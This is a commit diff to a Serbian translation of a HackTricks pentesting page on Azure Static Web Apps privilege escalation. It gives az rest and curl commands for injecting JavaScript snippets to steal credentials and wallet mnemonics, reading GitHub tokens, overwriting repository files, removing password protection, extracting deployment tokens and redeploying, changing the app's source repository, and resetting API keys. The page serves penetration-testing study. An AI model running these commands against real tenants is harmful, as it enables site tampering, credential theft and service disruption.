Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 11:55:23 +00:00
parent 85004a5fc7
commit e6337a4b3f

View File

@@ -4,7 +4,7 @@
## Azure Static Web Apps
Za više informacija o ovoj usluzi proverite:
Za više informacija o ovom servisu pogledajte:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@ Za više informacija o ovoj usluzi proverite:
### Microsoft.Web/staticSites/snippets/write
Moguće je napraviti statičku web stranicu koja učitava proizvoljni HTML kod kreiranjem snippeta. Ovo bi moglo omogućiti napadaču da ubrizga JS kod unutar web aplikacije i ukrade osetljive informacije kao što su akreditivi ili mnemoničke ključeve (u web3 novčanicima).
Moguće je naterati statičku web stranicu da učita proizvoljni HTML kod kreiranjem snippet-a. Ovo bi moglo omogućiti attackeru da injectuje JS kod unutar web app-a i ukrade osetljive informacije kao što su credentials ili mnemonic keys (u web3 wallets).
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web aplikacije::
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web app-a::
```bash
az rest \
--method PUT \
@@ -31,15 +31,15 @@ az rest \
}
}'
```
### Pročitajte Konfigurisane Treće Strane Akreditive
### Čitanje konfigurisanih akreditiva trećih strana
Kao što je objašnjeno u sekciji App Service:
Kao što je objašnjeno u delu App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Pokretanjem sledeće komande moguće je **pročitati akreditive treće strane** konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani za drugog korisnika, nećete moći da pristupite tokenu iz drugog.
Pokretanjem sledeće komande moguće je **pročitati akreditive trećih strana** konfigurisanе na trenutnom nalogu. Imajte na umu da, na primer, ako su neke Github akreditive konfigurisanе pod drugim korisnikom, nećete moći da pristupite tokenu iz drugog naloga.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
@@ -69,14 +69,12 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Prepisivanje fajla - Prepisivanje ruta, HTML, JS...
### Prepisivanje fajla - Prepisivanje ruta, HTML-a, JS-a...
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a, šaljući zahtev sa **Github tokenom** kao što je sledeći, koji će označiti putanju fajla koji treba prepisati, sadržaj fajla i poruku o komitu.
Ovo mogu zloupotrebiti napadači da suštinski **promene sadržaj web aplikacije** kako bi servirali maliciozan sadržaj (ukrali akreditive, mnemoničke ključeve...) ili samo da **preusmere određene putanje** na svoje servere prepisivanjem `staticwebapp.config.json` fajla.
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a koji poseduje **Github token**, slanjem zahteva kao u nastavku koji će navesti putanju fajla koji treba prepisati, sadržaj fajla i poruku commita.
> [!WARNING]
> Imajte na umu da ako napadač uspe da kompromituje Github repozitorijum na bilo koji način, takođe može direktno prepisati fajl sa Github-a.
> Imajte na umu da ako napadač na bilo koji način uspe da kompromituje Github repozitorijum, može i direktno prepisati fajl iz Github-a.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -97,9 +95,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
Sa ovom dozvolom, moguće je **izmeniti lozinku** koja štiti statičku web aplikaciju ili čak ukloniti zaštitu sa svake okoline slanjem zahteva kao što je sledeći:
Sa ovom dozvolom moguće je **izmeniti lozinku** koja štiti static web app ili čak ukloniti zaštitu sa svih okruženja slanjem zahteva kao što je sledeći:
```bash
# Change password
az rest --method put \
@@ -133,32 +131,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Ova dozvola omogućava dobijanje **API ključa za token za implementaciju** za statičku aplikaciju:
Ova dozvola omogućava dobijanje **API key deployment token** za static app.
Korišćenjem az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Zatim, da biste **ažurirali aplikaciju koristeći token**, možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funkcioniše**, jer je to ono što je Azure postavio kao podrazumevano za korišćenje. Tako da se slika i parametri mogu promeniti u budućnosti.
Korišćenje AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Zatim, da biste **ažurirali aplikaciju koristeći token**, možete pokrenuti sledeću komandu. Napomena: ova komanda je izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) radi**, pošto je to podrazumevani način koji Azure koristi. Dakle, image i parametri se mogu promeniti u budućnosti.
> [!TIP]
> Da biste implementirali aplikaciju, možete koristiti **`swa`** alat iz [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ili pratiti sledeće sirove korake:
> Za deploy aplikacije možete koristiti alat **`swa`** sa [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ili pratiti sledeće osnovne korake:
1. Preuzmite repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repo koji želite da implementirate) i pokrenite `cd react-basic`.
2. Promenite kod koji želite da implementirate
3. Implementirajte ga pokretanjem (Zapamtite da promenite `<api-token>`):
1. Preuzmite repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repo koji želite da deploy-ujete) i pokrenite `cd react-basic`.
2. Izmenite kod koji želite da deploy-ujete
3. Deploy-ujte ga pokretanjem komande (Zapamtite da zamenite `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Čak i ako imate token, nećete moći da implementirate aplikaciju ako je **Politika autorizacije implementacije** postavljena na **Github**. Za korišćenje tokena biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metodu implementacije da koristi APi token.
> Čak i ako imate token, nećete moći da deploy-ujete aplikaciju ako je **Deployment Authorization Policy** podešena na **Github**. Za korišćenje tokena biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metod deploy-a kako biste koristili th APi token.
### Microsoft.Web/staticSites/write
Sa ovom dozvolom je moguće **promeniti izvor statičke web aplikacije na drugi Github repozitorijum**, međutim, neće biti automatski obezbeđen jer to mora biti urađeno iz Github akcije.
Sa ovom dozvolom moguće je **promeniti izvor static web app na drugi Github repository**, međutim on neće biti automatski provision-ovan jer to mora da se uradi iz Github Action.
Međutim, ako je **Politika autorizacije implementacije** postavljena na **Github**, moguće je **ažurirati aplikaciju iz novog izvora repozitorijuma!**.
Međutim, ako je **Deployment Authotization Policy** podešena na **Github**, moguće je **ažurirati aplikaciju iz novog source repository-ja!**.
U slučaju da **Politika autorizacije implementacije** nije postavljena na Github, možete je promeniti sa istom dozvolom `Microsoft.Web/staticSites/write`.
U slučaju da **Deployment Authorization Policy** nije podešena na Github, možete je promeniti istom dozvolom `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -181,7 +185,7 @@ az rest --method PATCH \
}
}'
```
Primer Github akcije za implementaciju aplikacije:
Primer Github Action za deploy aplikacije:
```yaml
name: Azure Static Web Apps CI/CD
@@ -244,16 +248,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Sa ovom dozvolom je moguće **resetovati API ključ statičke web aplikacije** potencijalno DoSing radne tokove koji automatski implementiraju aplikaciju.
Sa ovom dozvolom moguće je **reset the API key of the static web app**, potencijalno DoSing workflows koji automatski deploy-uju aplikaciju.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
Ova dozvola omogućava **kreiranje pozivnice za korisnika** da pristupi zaštićenim putanjama unutar statičke web aplikacije sa određenom dodeljenom ulogom.
Ovo dopuštenje omogućava **kreiranje pozivnice za korisnika** za pristup zaštićenim putanjama unutar static web app-a sa određenom ulogom.
Prijava se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID, a korisnik može biti pozvan sledećom komandom:
Prijava se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID, i korisnik može biti pozvan sledećom komandom:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -266,11 +270,12 @@ az staticwebapp users invite \
```
### Pull Requests
Podrazumevano, Pull Requests iz grane u istom repozitorijumu će biti automatski kompajlirani i izgrađeni u staging okruženju. Ovo bi moglo biti zloupotrebljeno od strane napadača sa pristupom za pisanje u repozitorijum, ali bez mogućnosti da zaobiđe zaštitu grane produkcijske grane (obično `main`) da **implementira zloćudnu verziju aplikacije** u staging URL-u.
Podrazumevano, Pull Requests sa branch-a u istom repo-u se automatski kompajliraju i build-uju u staging okruženju. Ovo može biti zloupotrebljeno od strane napadača koji ima write pristup repo-u, ali ne može da zaobiđe branch protections production branch-a (obično `main`) da **deploy-uje malicioznu verziju aplikacije** na staging URL.
Staging URL ima ovaj format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` kao: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
Staging URL ima oblik: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` na primer: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Imajte na umu da podrazumevano spoljašnji PR-ovi neće pokretati radne tokove osim ako nisu spojili barem 1 PR u repozitorijum. Napadač bi mogao poslati validan PR u repozitorijum i **zatim poslati zloćudni PR** u repozitorijum da implementira zloćudnu aplikaciju u staging okruženju. MEĐUTIM, postoji neočekivana zaštita, podrazumevani Github Action za implementaciju u statičku web aplikaciju treba pristup tajni koja sadrži token za implementaciju (kao što je `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako se implementacija vrši sa IDToken-om. To znači da pošto spoljašnji PR neće imati pristup ovoj tajni i spoljašnji PR ne može promeniti Workflow da ovde postavi proizvoljni token bez da PR bude prihvaćen, **ova napad neće zaista uspeti**.
> Imajte na umu da podrazumevano external PRs neće pokretati Workflows osim ako prethodno nisu merge-ovali bar 1 PR u repository. Napadač bi mogao poslati validan PR u repo i **zatim poslati maliciozni PR** da deploy-uje malicioznu aplikaciju u staging okruženje. MEĐUTIM, postoji neočekivana zaštita: default Github Action za deploy u static web app zahteva pristup secret-u koji sadrži deployment token (npr. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako je deployment urađen sa IDToken-om. To znači da, pošto external PRs neće imati pristup tom secret-u i external PR ne može promeniti Workflow da ubaci proizvoljan token bez prihvatanja PR-a, **ovaj napad zapravo neće raditi**.
{{#include ../../../banners/hacktricks-training.md}}